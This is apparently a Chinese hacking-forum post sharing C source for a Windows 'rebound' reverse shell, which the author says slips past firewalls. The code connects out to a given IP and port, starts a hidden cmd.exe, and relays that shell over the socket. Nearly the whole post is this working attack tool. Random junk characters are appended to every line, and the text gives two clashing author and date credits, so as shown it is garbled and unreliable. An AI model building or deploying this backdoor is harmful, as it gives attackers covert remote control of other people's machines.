这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K\FLA_J
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/* ============================== b|-S;cw
Rebound port in Windows NT m*.+9 6
By wind,2006/7 xqb*;TBh*
===============================*/ 3EHB~rL/C
#include :(iBLO<x
#include %j@@J\G!
t:"3MiM=c
#pragma comment(lib,"wsock32.lib") hp`ZmLq/[
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void OutputShell(); DTlId~Dyq
SOCKET sClient; ;I?x;lH
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l b;P&V
H?rC IS0
void main(int argc,char **argv) L1Jn@
{ us E%eF]
WSADATA stWsaData; g`C\pdX"B
int nRet; V8#NXUg<!
SOCKADDR_IN stSaiClient,stSaiServer; oFGWI#]ts>
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if(argc != 3) _2Mpzv
{ U C_$5~8p
printf("Useage:\n\rRebound DestIP DestPort\n"); ~F8xXW0
return; pxn@rN#*
} !;;7:!)P
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WSAStartup(MAKEWORD(2,2),&stWsaData); &->ngzg
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M@o^V(j
Cu!]-c{
stSaiClient.sin_family = AF_INET; JvK]EwR
;
stSaiClient.sin_port = htons(0); >}:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;W]9DBAB
3W%j^nM
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l0U23i
{ &$ud;r#
printf("Bind Socket Failed!\n"); g^^pPVK_
return; VVDW=G
} IdM~'
Q>\
>g m
stSaiServer.sin_family = AF_INET; q[GDK^-g
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lQd7p+21
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T.jCF~%7F
d8iq9AP\o
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6bPl(.(3
{ 0U~*uDU
printf("Connect Error!"); jtUqrJFlQ
return; &isKU8n
} {PR "}x
OutputShell(); rzs-c ?
} zez|l
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void OutputShell() Z&79: 9=#>
{ #IJeq0TVB
char szBuff[1024]; fY6~Z
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SECURITY_ATTRIBUTES stSecurityAttributes; AVm+
1
OSVERSIONINFO stOsversionInfo; NWP!V@WG
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a{@}vZx>3
STARTUPINFO stStartupInfo; |B^Mj57DO
char *szShell; tHAe
PROCESS_INFORMATION stProcessInformation; L^r & .N\
unsigned long lBytesRead; }8POm#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y%eq2%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Kk*8
stSecurityAttributes.lpSecurityDescriptor = 0; i(_A;TT6
stSecurityAttributes.bInheritHandle = TRUE; 8NiR3*1
Le:(;:eL>t
N/ f7"~+`
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >,E^ R `y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Nk<^ Qv
4"_`Mu_%
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {0j_.XZ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [F'|KcE3
stStartupInfo.wShowWindow = SW_HIDE; 3%hq<
stStartupInfo.hStdInput = hReadPipe; IrMB=pWo
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i")0 3b
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GetVersionEx(&stOsversionInfo); .r2*tB).
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switch(stOsversionInfo.dwPlatformId) Bp3E)l
{ <N1wET-
case 1: JXM]tV
szShell = "command.com"; uKd4+Km
break; DY9]$h*y
default: OZ+v ~'oD
szShell = "cmd.exe"; +[<YE
break; [:FiA?O]
} a&V;^ /
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fGO\f;P
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send(sClient,szMsg,77,0); TS#[[^!S
while(1) nYFrp)DLK
{ wD=]U@t`,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !
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if(lBytesRead) >mai
v;
{ :nQlS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]"lB!O~
send(sClient,szBuff,lBytesRead,0); 7jgj;%
} w4vV#C4X
else Rd&DH_<+^
{ '*`#xNu[
lBytesRead=recv(sClient,szBuff,1024,0); _$ivN!k
if(lBytesRead<=0) break; xH xTL>,?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TI8r/P?
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} 'gvR?[!t
} n{FjFlX2=
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return; z
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}